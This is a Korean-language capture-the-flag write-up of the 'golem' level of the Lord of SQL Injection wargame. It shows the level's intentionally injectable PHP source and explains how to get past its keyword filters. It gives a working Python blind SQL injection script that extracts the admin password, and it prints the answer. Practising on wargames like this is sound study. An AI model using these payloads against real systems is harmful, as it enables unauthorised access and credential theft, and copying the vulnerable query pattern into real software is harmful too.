728x90
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem");
highlight_file(__FILE__);
?>
단계가 높아질 때마다 필터링되는 문자들이 늘어난다. 이번엔 substr( 와 = 이 추가되었다.
앞의 문제에서 언급했듯이 or, and는 각각 ||, &&로 대체가능한데 &는 URL의 예약된 문자이며 URL key를 구분하는 역할을 한다. 따라서 URL 인코딩한 값 %26을 넣어줘야 php에서 '&'문자로 해석한다.
substr함수는 mid, left, right라는 sql함수들로 대체가능하다. 특히 mid 함수는 substr 함수와 사용법이 같다.
= 연산자는 like,in 연산자와 instr함수로 대체가능하다.
실행한 쿼리가 참일때마다 Hello admin이 출력되도록 하여 이를 기반으로 Blind SQL Injection을 실행하였고 비밀번호 길이와 비밀번호를 알아내었다.
파이썬 코드는 다음과 같다.
import requests
url='https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'
cookie={'PHPSESSID':'자신의 세션 id'}
HEX='0123456789ABCDEF'
#16
def find_pw_len():
pw_len=1
while True:
r=requests.get(url+"?pw=' || id like 'admin' %26%26 length(hex(pw)) like {}%23".format(pw_len),cookies=cookie)
if 'Hello admin' in r.text:
return pw_len
else:
pw_len+=1
#77d6290b
def find_pw():
pw_len=find_pw_len()
tmp=''
for i in range(1,pw_len+1):
for j in HEX:
r=requests.get(url+"?pw=' || id like 'admin' %26%26 mid(hex(pw),{},1) like '{}'%23".format(i,j),cookies=cookie)
if 'Hello admin' in r.text:
tmp+=j
if len(tmp)==2:
print(chr(int(tmp,16)),end="")
tmp=''
break
find_pw()
답: ?pw=77d6290b
728x90
'Lord of SQL Injection' 카테고리의 다른 글
bugbear (0) | 2022.12.22 |
---|---|
darkknight (0) | 2022.12.22 |
skeleton (0) | 2022.12.22 |
vampire (0) | 2022.12.22 |
troll (0) | 2022.12.22 |